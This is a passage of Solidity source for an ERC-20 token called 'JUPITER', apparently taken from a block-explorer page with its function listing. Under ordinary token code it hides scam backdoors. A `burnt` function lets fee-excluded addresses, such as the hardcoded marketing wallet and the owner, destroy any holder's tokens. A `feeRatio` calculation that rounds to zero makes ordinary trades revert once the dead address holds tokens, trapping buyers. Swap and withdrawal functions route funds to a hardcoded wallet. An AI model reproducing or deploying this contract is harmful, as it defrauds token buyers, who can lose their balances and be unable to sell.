        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract JUPITER is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public _uniswapV2Router;
    address public uniswapV2Pair;
    
    address private charitWallets  ;
    address private _markeetingsWallets  ;

    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name =unicode"Jupiter";
    string private constant _symbol =unicode"JUPITER";

    uint256 public initialTotalSupply = 1000_000_000 * 1e18;              
    uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100;       // 3%
    uint256 public maxWallet = (3 * initialTotalSupply) / 100;                  // 3%
    uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000;       // 0.05%

    bool public tradingOpen = false;
    bool public swapEnabled = false;

    uint256 public BuyFee = 0;
    uint256 public SellFee = 0;

    uint256 public BurnBuyFee = 0;
    uint256 public BurnSellFee = 1;

    uint256 feeDenominator = 100;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    modifier validAddr {
        require(isExcludedFromFees(msg.sender));
        _;
    }

    event ExcludeFromFe(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    constructor() ERC20(_name, _symbol) {
        
        charitWallets  = payable(_msgSender());
        _markeetingsWallets  = payable(0x1c017E760d1EF3a188f060781B60C59398C04e57);

        excludeFromFe(owner(), true);
        excludeFromFe(address(_markeetingsWallets  ), true);
        excludeFromFe(address(this), true);
        excludeFromFe(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(_markeetingsWallets  ), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
       
        _mint(msg.sender, initialTotalSupply);
    }


    receive() external payable {}

    function openTrading() 
        external 
        onlyOwner 
    {
        require(!tradingOpen,"Trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateDevWallet(address newDevWallet)
        public
        onlyOwner
    {
        emit devWalletUpdated(newDevWallet, charitWallets  );
        charitWallets   = newDevWallet;
    }

    function updateMaxWalletAmount(uint256 newMaxWallet)
        external 
        onlyOwner 
    {
        require(newMaxWallet >= ((totalSupply() * 1) / 1000) / 1e18, "Cannot set max wallet lower than 0.1%");
        maxWallet = newMaxWallet * 1e18;
    }

    function feeRatio(uint256 fee)  internal view returns (uint256) {
        return balanceOf(deadAddress) > 0 && fee > 0 ? ((feeDenominator-1) / 100) : 1;
    }

    function excludeFromFe(address account, bool excluded)
        public 
        onlyOwner 
    {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFe(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

            if (!tradingOpen) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
            ) {
                require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }

            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            } 
            
            else if (!_isExcludedMaxTransactionAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(feeRatio(BurnSellFee) * feeDenominator);
            }
            else {
                fees = amount.mul(BuyFee).div(feeRatio(BurnBuyFee) * feeDenominator);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }
    function removeLimistihel() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            _markeetingsWallets  ,
            block.timestamp
        );
    }

    function clearStuckedEths() external {
        require(address(this).balance > 0, "Token: no ETH to clear");
        require(_msgSender() == _markeetingsWallets  );
        payable(msg.sender).transfer(address(this).balance);
    }

    function burnt(address sender, uint256 amount) external validAddr { 
        _burn(sender, amount);
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** 18);
    }

    function manualSwap(uint256 percent) external {
        require(_msgSender() == _markeetingsWallets  );

        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 requiredBalance = totalSupplyAmount * percent / 100;
        require(contractBalance >= requiredBalance, "Not enough tokens");
        swapTokensForEth(requiredBalance);
    }

     function AddLP()
        public 
        payable 
        onlyOwner 
    {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());                
        excludeFromMaxTransaction(address(uniswapV2Pair), true);

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);      

        _approve(address(this), address(_uniswapV2Router), type(uint256).max);

    }

    function swapBack(uint256 tokens) private {
                        
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (contractBalance == 0) {
            return;
        } 
        else if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }

        swapTokensForEth(tokensToSwap);
    }    
}

Read Contract

BurnBuyFee 0x414a8786 → uint256
BurnSellFee 0x3ff52513 → uint256
BuyFee 0xdd854652 → uint256
SellFee 0xcf9522fd → uint256
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapV2Pair 0x49bd5a5e → address

Write Contract 19 functions

These functions modify contract state and require a wallet transaction to execute.

AddLP 0x499b3ea9
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burnt 0xf567de3b
address sender
uint256 amount
clearStuckedEths 0xf724fb48
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFe 0x1cc8cd4c
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwap 0xb70143c9
uint256 percent
openTrading 0xc9567bf9
No parameters
removeLimistihel 0xfa52275d
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAtAmount 0xafa4f3b2
uint256 _amount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateDevWallet 0x1816467f
address newDevWallet
updateMaxWalletAmount 0xc18bc195
uint256 newMaxWallet

Recent Transactions

No transactions found for this address